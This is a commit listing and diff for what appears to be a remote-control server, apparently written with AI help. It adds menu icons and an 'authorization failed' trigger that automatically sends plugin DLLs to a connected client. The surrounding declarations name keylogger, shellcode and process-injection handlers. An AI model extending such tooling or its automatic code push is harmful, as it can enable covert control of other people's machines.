2 Commits
Author SHA1 Message Date
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
12 changed files with 120 additions and 36 deletions

No files matched your search

Binary file not shown.
+51 -3
View File
@@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动 m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口 m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启 m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr; m_ServerBin[i] = nullptr;
@@ -4364,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]); Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]); Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]); Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -5748,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ContextObject->GetPeerName(); std::string ip = ContextObject->GetPeerName();
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
valid = authorized; valid = authorized;
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:"; bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
@@ -7197,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host, std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
const std::string& sn, const std::string& passcode, uint64_t hmac, const std::string& sn, const std::string& passcode, uint64_t hmac,
const std::string& hmacV2, const std::string& ip, const char* source) const std::string& hmacV2, const std::string& ip, const char* source,
CONTEXT_OBJECT* sender)
{ {
BOOL authorized = -1; BOOL authorized = -1;
bool isV2 = false; bool isV2 = false;
@@ -7223,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) { } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
@@ -7244,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} }
@@ -7340,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ctx->GetClientData(ONLINELIST_IP); std::string ip = ctx->GetClientData(ONLINELIST_IP);
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
(void)expired; // 心跳不需要处理过期续期 (void)expired; // 心跳不需要处理过期续期
// 检查并发送预设续期(多点验证) // 检查并发送预设续期(多点验证)
@@ -11471,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
} }
} }
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
{
if (!ctx || m_DllList.empty()) return;
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
return;
}
// 获取触发器插件列表(从缓存获取)
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
if (pluginNames.empty()) {
return;
}
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
// 遍历触发器配置的插件列表
for (const auto& pluginName : pluginNames) {
// 查找对应的 DLL
DllInfo* targetDll = nullptr;
for (auto& dll : m_DllList) {
if (dll && dll->Name == pluginName) {
targetDll = dll;
break;
}
}
if (!targetDll || !targetDll->Data) {
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
continue;
}
// 发送 DLL 到客户端
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
}
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{ {
CString clientIP(ip.c_str()); CString clientIP(ip.c_str());
+4 -2
View File
@@ -233,9 +233,10 @@ public:
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn, std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH"); const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = ""); void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -431,7 +432,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[66]; CBitmap m_bmOnline[69];
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -651,6 +652,7 @@ public:
afx_msg void OnToolPluginSettings(); afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings(); afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
+47 -28
View File
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
END_MESSAGE_MAP() END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent) CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
{ {
// 初始化触发类型下拉框 // 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表 // 初始化插件列表
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
index++; index++;
} }
// 如果有已配置的主机上线触发器,勾选对应的插件 // 回显当前选中触发类型已勾选的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
} }
void CTriggerSettingsDlg::LoadTriggersToList() void CTriggerSettingsDlg::LoadTriggersToList()
{ {
m_listTriggers.DeleteAllItems(); m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" }; const char* typeNames[] = { "主机上线", "授权失败" };
int index = 0; int index = 0;
for (const auto& cfg : m_Configs) { for (const auto& cfg : m_Configs) {
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 回显该触发器配置的插件,并同步下拉框选择
ReflectPluginsForType(type);
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
{
int sel = m_comboTriggerType.GetCurSel();
if (sel >= 0) {
ReflectPluginsForType((TriggerType)sel);
}
}
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
{
// 查找对应的触发器配置 // 查找对应的触发器配置
TriggerConfig* cfg = nullptr; TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) { for (auto& c : m_Configs) {
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
} }
} }
} }
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
} }
void CTriggerSettingsDlg::OnBnClickedBtnSave() void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
TriggerManager::Instance().Reload(); TriggerManager::Instance().Reload();
} }
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================ // ============================================
// TriggerManager 实现 // TriggerManager 实现
// ============================================ // ============================================
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
{ {
// 不加锁,由调用者保证线程安全 // 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear(); m_OnlinePlugins.clear();
m_AuthFailedPlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) { for (const auto& cfg : configs) {
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
for (const auto& name : cfg.PluginNames) { for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name); m_OnlinePlugins.insert(name);
} }
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
for (const auto& name : cfg.PluginNames) {
m_AuthFailedPlugins.insert(name);
}
} }
} }
m_bLoaded = true; m_bLoaded = true;
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
return result; return result;
} }
bool TriggerManager::HasAuthFailedTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_AuthFailedPlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}
+11 -2
View File
@@ -12,6 +12,7 @@ struct DllInfo;
// 触发器类型 // 触发器类型
enum TriggerType { enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线 TRIGGER_HOST_ONLINE = 0, // 主机上线
TRIGGER_AUTH_FAILED = 1, // 授权失败
// 后续可扩展更多类型 // 后续可扩展更多类型
}; };
@@ -34,12 +35,18 @@ public:
// 获取主机上线触发器的插件名称集合(高性能查询) // 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins(); std::set<std::string> GetOnlinePlugins();
// 获取授权失败触发器的插件名称集合(高性能查询)
std::set<std::string> GetAuthFailedPlugins();
// 重新加载配置(保存后调用) // 重新加载配置(保存后调用)
void Reload(); void Reload();
// 检查是否有上线触发器 // 检查是否有上线触发器
bool HasOnlineTrigger(); bool HasOnlineTrigger();
// 检查是否有授权失败触发器
bool HasAuthFailedTrigger();
private: private:
TriggerManager(); TriggerManager();
~TriggerManager(); ~TriggerManager();
@@ -50,6 +57,7 @@ private:
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称 std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
bool m_bLoaded; bool m_bLoaded;
}; };
@@ -68,8 +76,6 @@ public:
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs); static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径 // 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath(); static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
afx_msg void OnBnClickedBtnTriggerAdd(); afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove(); afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnCbnSelchangeComboTriggerType();
private: private:
void InitControls(); void InitControls();
void LoadPluginsToList(); void LoadPluginsToList();
void LoadTriggersToList(); void LoadTriggersToList();
void UpdateTriggerDisplay(); void UpdateTriggerDisplay();
// 回显指定触发类型已勾选的插件(取消其他勾选)
void ReflectPluginsForType(TriggerType type);
private: private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表 std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
+1
View File
@@ -1824,6 +1824,7 @@ IOCP
触发类型:=Ausloesertyp: 触发类型:=Ausloesertyp:
执行动作:=Aktion: 执行动作:=Aktion:
主机上线=Host online 主机上线=Host online
授权失败=Autorisierung fehlgeschlagen
插件名称=Plugin-Name 插件名称=Plugin-Name
触发器=Ausloeser 触发器=Ausloeser
已配置的触发器=Konfigurierte Ausloeser 已配置的触发器=Konfigurierte Ausloeser
+1
View File
@@ -1825,6 +1825,7 @@ IOCP
触发类型:=Trigger Type: 触发类型:=Trigger Type:
执行动作:=Action: 执行动作:=Action:
主机上线=Host Online 主机上线=Host Online
授权失败=Authorization Failed
插件名称=Plugin Name 插件名称=Plugin Name
触发器=Trigger 触发器=Trigger
已配置的触发器=Configured Triggers 已配置的触发器=Configured Triggers
+1
View File
@@ -1817,6 +1817,7 @@ IOCP
触发类型:=觸發類型: 触发类型:=觸發類型:
执行动作:=執行動作: 执行动作:=執行動作:
主机上线=主機上線 主机上线=主機上線
授权失败=授權失敗
插件名称=外掛名稱 插件名称=外掛名稱
触发器=觸發器 触发器=觸發器
已配置的触发器=已設定的觸發器 已配置的触发器=已設定的觸發器
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

+4 -1
View File
@@ -284,6 +284,9 @@
#define IDB_BITMAP_HISTORY_ACTIVITY 398 #define IDB_BITMAP_HISTORY_ACTIVITY 398
#define IDB_BITMAP_VIEW_WND 399 #define IDB_BITMAP_VIEW_WND 399
#define IDB_BITMAP_PROXY_AUTORUN 400 #define IDB_BITMAP_PROXY_AUTORUN 400
#define IDB_BITMAP_FILE_MANAGER 407
#define IDB_BITMAP_PRIVACY_SHIELD 408
#define IDB_BITMAP_DRAWING_BOARD 409
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -1078,7 +1081,7 @@
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 407 #define _APS_NEXT_RESOURCE_VALUE 410
#define _APS_NEXT_COMMAND_VALUE 33093 #define _APS_NEXT_COMMAND_VALUE 33093
#define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_CONTROL_VALUE 2593
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105